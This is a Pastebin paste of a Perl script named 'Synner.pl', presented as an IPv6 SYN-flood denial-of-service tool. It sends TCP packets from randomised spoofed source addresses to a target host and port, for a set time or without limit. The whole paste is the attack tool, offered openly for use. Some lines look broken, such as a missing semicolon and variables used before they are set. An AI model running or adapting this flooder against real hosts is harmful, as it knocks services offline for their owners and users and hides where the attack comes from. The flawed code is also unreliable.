Advertisement
Guest User

Untitled

a guest
Sep 9th, 2017
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. # Synner.pl Spoof DoS tool ported to Ipv6 + better socket sending by xd
  3. # Description:
  4. # It works sending syn tcp packets to destination host:port,
  5. # spoofing it`s own ip addresses by sending randon source host:port packets.
  6. # Install Net::RawIP from cpan or get it`s .tar,gz from somewhere.
  7. # Make sure to get and install this module from cpan
  8. # This tool does SPOOF your IP.
  9. # Run it as ROOT (Net::RawIP needs).
  10. ##########################################
  11. use Net::RawIP;
  12. use warnings;
  13. use Socket;
  14. use Socket6;
  15.  
  16. sub usage() {
  17. die "Usage: $0 <Ipv6 IP> <Port> <Time(seconds)>\n";
  18. die "Ex: synner6.pl 2001:2:000:000:2:2:2 22 999999\n";
  19. die "OR for unlimited packet sending + randomised ports,\n";
  20. die "Ex: synner6.pl 2001:2:000:000:2:2:2 0 0\n";
  21. exit;
  22. }
  23. sub get_time() {
  24. $finaltime=time;
  25. $endme=$finaltime-$begintime;
  26. }
  27. if (@ARGV>3) {
  28. &usage
  29. }
  30. $ipdest = $ARGV[0] or &usage;
  31. $destport = $ARGV[1] or &usage;
  32. $time = $ARGV[2] or &usage;
  33. @tmpport=(1,22,25,80,139,445,3306,1433,53,23,6667,65535);
  34. @iparray_round1 = (1,2);
  35. @iparray_round2 = (0,1,2,3,4,5,6,7,8,9);
  36. print "[!] SynPack IPv6 starting..\n";
  37. print "[!] Setting Time: ($time)\n";
  38. print "[!] Set Target Ipv6 Host: ($ipdest:$destport)\n";
  39. socket6(my $s, PF_INET6, SOCK_STREAM, 1);
  40. my $iaddr = inet_pton(PF_INET6, $ip);
  41. $packet = new Net::RawIP;
  42. $begintime = $^T;
  43. get_time();
  44. while($endme < $time) {
  45. for ($z=0;$z<4;$z++) {
  46. for($I=0;$I<1;$I++) {
  47. $ip .= 2;
  48. }
  49. for($kick=0;$kick<1;$kick++) {
  50. $iparray_round1 = $iparray_round1[rand(@iparray_round1)];
  51. $ip .= $iparray_round1 +3;
  52. }
  53. for($you=0;$you<1;$you++) {
  54. $iparray_round2 = $iparray_round2[rand(@iparray_round2)];
  55. $ip .= $iparray_round2 +3;
  56. }
  57. $ip .= ":";
  58. }
  59. chop($ip);
  60. $tmpport = $tmpport[rand(65534)];
  61. $packet->set(
  62. {
  63. ip => { saddr => $ip,
  64. daddr => $ipdest
  65. },
  66. tcp => { source => $tmpport,
  67. dest => $destport,
  68. psh => 0,
  69. ack => 1,
  70. syn => 1,
  71. data => ';1337;fece;2'
  72. }
  73. }
  74. );
  75. $packet->send($s, 0, 1, sockaddr_in6(int(rand(65000)) + 1, $iaddr))
  76. $packet->send(0,1);
  77. print "From: ($ip)\r";
  78. $ip = '';
  79. get_time();
  80. }
  81. print "\nDone..\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement